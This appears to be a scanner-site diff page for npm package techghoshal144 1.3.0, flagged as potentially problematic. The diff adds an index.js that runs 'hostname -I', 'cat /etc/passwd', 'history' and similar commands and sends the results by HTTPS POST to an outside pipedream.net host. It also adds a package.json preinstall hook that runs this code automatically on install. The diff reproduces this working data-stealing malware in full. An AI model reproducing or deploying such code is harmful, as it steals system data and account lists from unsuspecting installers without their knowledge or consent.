techghoshal144 1.3.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of techghoshal144 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +35 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,35 @@
1
+
2
+ const execSync = require('child_process').execSync;
3
+
4
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
5
+ const host = execSync('hostname', { encoding: 'utf-8' });
6
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
7
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
8
+ const hist = execSync('history', { encoding: 'utf-8' });
9
+
10
+ const https = require("https")
11
+
12
+ const data = JSON.stringify({
13
+ "private IP": priv_ip,
14
+ "hostname": host,
15
+ "current dir": current_dir,
16
+ "passwd": passwd,
17
+ "history": hist
18
+
19
+
20
+ })
21
+
22
+ const options = {
23
+ hostname: "eoubo9wfyehgrtu.m.pipedream.net",
24
+ port: 443,
25
+ path: "/",
26
+ method: "POST",
27
+ headers: {
28
+ "Content-Type": "application/json",
29
+ "Content-Length": data.length,
30
+ },
31
+ }
32
+
33
+ const req = https.request(options)
34
+ req.write(data)
35
+ req.end()
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "techghoshal144",
3
+ "version": "1.3.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }